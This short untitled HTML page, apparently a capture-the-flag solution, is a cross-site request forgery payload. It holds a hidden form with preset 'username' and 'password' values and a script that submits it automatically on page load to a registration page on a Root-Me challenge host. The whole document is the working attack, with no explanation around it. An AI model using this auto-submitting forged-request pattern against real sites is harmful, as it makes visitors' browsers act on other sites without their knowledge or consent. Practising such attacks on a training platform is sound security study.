Untitled

 <html>
  <body>
    <form action="http://challenge01.root-me.org/realiste/ch16/index.php?page=register.php" method="POST">
      <input type="hidden" name="username" value="amine" />
      <input type="hidden" name="password" value="lol" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>